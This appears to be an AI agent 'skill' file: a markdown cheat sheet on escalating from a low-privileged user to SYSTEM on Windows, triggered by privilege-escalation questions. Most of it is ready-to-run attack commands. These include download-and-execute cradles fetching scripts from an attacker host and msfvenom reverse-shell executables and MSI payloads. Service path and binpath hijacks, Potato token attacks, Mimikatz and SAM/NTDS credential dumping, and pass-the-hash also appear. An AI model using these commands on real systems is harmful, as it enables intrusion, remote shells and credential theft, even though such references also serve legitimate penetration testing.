Windows Privesc

---
name: Windows Privilege Escalation
description: |
  This skill should be used when the user asks about "Windows privilege escalation",
  "winpeas", "token impersonation", "potato attacks", "service exploitation",
  "unquoted service path", "AlwaysInstallElevated", or needs guidance on
  escalating privileges on Windows systems.
version: 1.0.0
---

# Windows Privilege Escalation Skill

## Overview
Techniques for escalating privileges from a low-privileged user to SYSTEM/Administrator on Windows systems.

## Automated Enumeration

### WinPEAS
```powershell
# Download and run
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/winPEAS.ps1')

# Run executable
.\winPEASany.exe

# Quiet mode
.\winPEASany.exe quiet

# Specific checks
.\winPEASany.exe servicesinfo
```

### PowerUp
```powershell
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/PowerUp.ps1')
Invoke-AllChecks

# Specific checks
Get-UnquotedService
Get-ModifiableService
Get-RegistryAlwaysInstallElevated
```

### Windows Exploit Suggester
```bash
# On attacker machine
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt
```

## Manual Enumeration Checklist

### 1. User Information
```powershell
whoami
whoami /priv
whoami /groups
net users
net user <username>
net localgroup Administrators
qwinsta  # Other logged in users
```

### 2. Token Privileges
```powershell
whoami /priv
```

**High-Value Privileges**:

| Privilege | Attack |
|-----------|--------|
| SeImpersonatePrivilege | PrintSpoofer, JuicyPotato, RoguePotato |
| SeAssignPrimaryTokenPrivilege | Token impersonation |
| SeBackupPrivilege | Backup SAM/SYSTEM hashes |
| SeRestorePrivilege | Write to any file |
| SeTakeOwnershipPrivilege | Take ownership of files |
| SeDebugPrivilege | Dump LSASS, inject into processes |
| SeLoadDriverPrivilege | Load vulnerable driver |

**Token Impersonation Attacks**:

```powershell
# PrintSpoofer (Windows 10, Server 2016/2019)
.\PrintSpoofer.exe -i -c cmd

# JuicyPotato (Windows 7-10, Server 2008-2016)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

# RoguePotato (Windows 10, Server 2019)
.\RoguePotato.exe -r <ATTACKER_IP> -e "cmd.exe" -l 9999
```

### 3. Unquoted Service Paths
```powershell
wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows"

# PowerUp
Get-UnquotedService
```

**Exploitation**:
```powershell
# If path is: C:\Program Files\Some Folder\service.exe
# Windows searches for:
# C:\Program.exe
# C:\Program Files\Some.exe
# C:\Program Files\Some Folder\service.exe

# Drop malicious executable
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe > Program.exe
copy Program.exe "C:\Program.exe"
sc stop <service>
sc start <service>
```

### 4. Modifiable Services
```powershell
# Check service permissions
accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *

# PowerUp
Get-ModifiableService
```

**Exploitation**:
```powershell
sc config <service> binpath= "C:\temp\shell.exe"
sc stop <service>
sc start <service>
```

### 5. AlwaysInstallElevated
```powershell
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

**If both return 0x1**:
```bash
# Create malicious MSI
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f msi > shell.msi

# Install with elevated privileges
msiexec /quiet /qn /i shell.msi
```

### 6. Stored Credentials
```powershell
# Check for saved credentials
cmdkey /list

# Use saved credentials
runas /savecred /user:Administrator cmd

# Search for credentials in files
findstr /si password *.txt *.ini *.config *.xml
findstr /spin "password" *.*
```

**Common credential locations**:
```powershell
# Unattend files
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\sysprep\Unattend.xml
C:\Windows\System32\sysprep\Panther\Unattend.xml

# PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# IIS config
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
```

### 7. Registry Autoruns
```powershell
# Check autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check if writable
accesschk.exe /accepteula -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
```

### 8. Scheduled Tasks
```powershell
schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```

Look for:
- Custom tasks running as SYSTEM
- Writable scripts in task actions

### 9. SAM/SYSTEM Files
```powershell
# Check for backup SAM files
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\SAM

# If admin, dump directly
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system

# Extract on attacker
secretsdump.py -sam sam -system system LOCAL
```

### 10. DLL Hijacking
```powershell
# Find missing DLLs using Process Monitor
# Or check known locations
accesschk.exe /accepteula -wvu "C:\Program Files"
```

### 11. Hot Potato / Juicy Potato CLSID
```powershell
# Windows 10/Server 2019 CLSID
{F3A614DC-ABE0-11D2-A441-00C04F795683}

# Windows 7/Server 2008
{4991d34b-80a1-4291-83b6-3328366b9097}

# Find more at: https://github.com/ohpe/juicy-potato/blob/master/CLSID/
```

### 12. Kernel Exploits
```powershell
systeminfo
# Look for OS version and installed hotfixes
```

**Common Windows Kernel Exploits**:

| Windows Version | Exploit |
|-----------------|---------|
| Win 7/8/10, Server 2008-2016 | MS16-032 |
| Win 7/Server 2008 R2 | MS15-051 |
| Server 2003/XP | MS08-067 |
| Win 8.1/Server 2012 | MS14-058 |

## Post-Exploitation

### Dump Credentials
```powershell
# Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Get SAM
.\mimikatz.exe "privilege::debug" "lsadump::sam" exit

# Get LSA secrets
.\mimikatz.exe "privilege::debug" "lsadump::secrets" exit
```

### Pass-the-Hash
```bash
# Impacket
psexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM_HASH>
wmiexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM_HASH>
```

## Backup Tool Abuse

### SeBackupPrivilege
```powershell
# Check if you have it
whoami /priv | findstr /i backup

# Copy any file using backup semantics
robocopy /b C:\Users\Administrator\Desktop C:\temp flag.txt

# Or use diskshadow for NTDS.dit
diskshadow /s shadow.txt
# shadow.txt contains:
# set context persistent nowriters
# add volume c: alias temp
# create
# expose %temp% z:

# Then copy from shadow copy
robocopy /b z:\Windows\NTDS C:\temp ntds.dit
```

### SeRestorePrivilege
```powershell
# Check if you have it
whoami /priv | findstr /i restore

# Write to any location
# Can overwrite DLLs, service binaries, etc.
robocopy /b C:\temp C:\Windows\System32 malicious.dll
```

### Volume Shadow Copy (VSS)
```powershell
# List existing shadow copies
vssadmin list shadows

# Create shadow copy (requires admin)
vssadmin create shadow /for=C:

# Access shadow copy contents
mklink /d C:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

# Read protected files from shadow
type C:\shadowcopy\Windows\System32\config\SAM
```

### Windows Backup (wbadmin)
```powershell
# If wbadmin is available and you have backup rights
wbadmin start backup -backuptarget:E: -include:C:\Users\Administrator -quiet

# Restore to readable location
wbadmin start recovery -version:<version> -itemtype:File -items:C:\Users\Administrator\flag.txt -recoverytarget:C:\temp
```

### Third-Party Backup Tools
Common backup software that may have elevated service accounts:
- Veeam Backup
- Commvault
- Veritas NetBackup
- Acronis

**Pattern**: Check if user is member of backup operator groups or has access to backup tool consoles.

```powershell
# Check group membership
net localgroup "Backup Operators"
whoami /groups | findstr -i backup
```

## Quick Reference

```markdown
# Priority Order
1. Token privileges (SeImpersonate → Potato attacks)
2. Unquoted service paths
3. Modifiable services
4. AlwaysInstallElevated
5. Stored credentials (cmdkey, files)
6. Backup privileges (SeBackup/SeRestore, VSS)
7. Scheduled tasks
8. SAM file backups
9. DLL hijacking
10. Kernel exploits (last resort)
```

## Resources
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
- LOLBAS: https://lolbas-project.github.io/
- WinPEAS: https://github.com/carlospolop/PEASS-ng